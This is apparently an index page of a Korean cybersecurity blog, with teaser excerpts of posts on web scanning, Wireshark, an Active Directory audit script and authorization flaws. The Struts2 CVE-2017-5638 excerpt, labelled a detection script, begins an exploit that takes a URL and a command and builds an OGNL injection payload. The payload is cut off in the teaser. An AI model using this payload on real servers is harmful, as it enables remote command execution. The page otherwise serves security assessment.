Cybersecurity Lab

Wapiti

Wapiti allows you to audit the security of your web applications.It performs “black-box” scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.Once it gets this list, Wapiti acts like a fuzzer, injecting payloads […]

Wapiti 더 읽기"

Essential Wireshark Tips for Effective Vulnerability Assessment

Changing Packet Time Display Settings (Menu: View > Time Display Format) Viewing Packet Flow (Menu: Statistics > Flow Graph) Viewing Packet Transmissions Between Specific Hosts (Menu: Statistics > Conversations) Viewing Packet Flow (Menu: Statistics > Endpoints) Searching for Packets Containing Specific Strings (Menu: Edit > Find Packet, Ctrl+F)

Essential Wireshark Tips for Effective Vulnerability Assessment 더 읽기"

Useful tools to use alongside dedicated solutions when performing application source code vulnerability assessments

Most application source code vulnerability assessments involve reviewing a large volume of source files.In general, this work is performed through a combination of static analysis using dedicated tools such as Fortify and manual dynamic analysis conducted by experienced security consultants.Given the substantial amount of source code that must be manually reviewed during this process, it

Useful tools to use alongside dedicated solutions when performing application source code vulnerability assessments 더 읽기"

Active Directory Bad Password Account Audit Script (PowerShell)

Active Directory is widely used, regardless of the size of the company or organization, to control access to internal resources.However, there are still very few organizations that perform security assessments tailored to the specific characteristics of Active Directory services.Key focus areas for an Active Directory security assessment include the Domain Controller, Group Policy, user accounts,

Active Directory Bad Password Account Audit Script (PowerShell) 더 읽기"

Python Detection Script for the Struts2 Vulnerability (CVE-2017-5638 – Apache Struts2 S2-045) Actively Targeted from China

(*) Reference: https://github.com/rapid7/metasploit-framework/issues/8064 * usage: $python struts2_S2-045.py <URL> <CMD> $python struts2_S2-045.py http://127.0.0.1:8080/2.3.15.1-showcase/showcase.action “ls -al” [ struts2_S2-045.py – Python Code ] #!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import httplib def exploit(url, cmd): payload = “%{(#_=’multipart/form-data’).” payload += “(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).” payload += “(#_memberAccess?” payload += “(#_memberAccess=#dm):” payload += “((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).” payload += “(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).” payload += “(#ognlUtil.getExcludedPackageNames().clear()).” payload +=

Python Detection Script for the Struts2 Vulnerability (CVE-2017-5638 – Apache Struts2 S2-045) Actively Targeted from China 더 읽기"

SERVICE – INADEQUATE PERMISSION VALIDATION

Vulnerability examples   Inadequate authorization checks gaps/weaknesses that allow unauthorized users to view, modify, or delete sensitive information without going through a valid authentication process when submitting a request to a website. For example, when you edit an article on an ad, the following HTTP request is sent. The website creates a unique profile for each

SERVICE – INADEQUATE PERMISSION VALIDATION 더 읽기"

ENCRYPTING SENSITIVE DATA WITH THE SERVER`S HTTPS PUBLIC KEY

   How to implement data encryption with the server’s public key on a website that provides HTTPS?     Occasionally, when diagnosing mock hacking on a mobile app or website, there are cases in which the data is encrypted with a random symmetric key method and transmitted to the server without encrypting the data using the

ENCRYPTING SENSITIVE DATA WITH THE SERVER`S HTTPS PUBLIC KEY 더 읽기"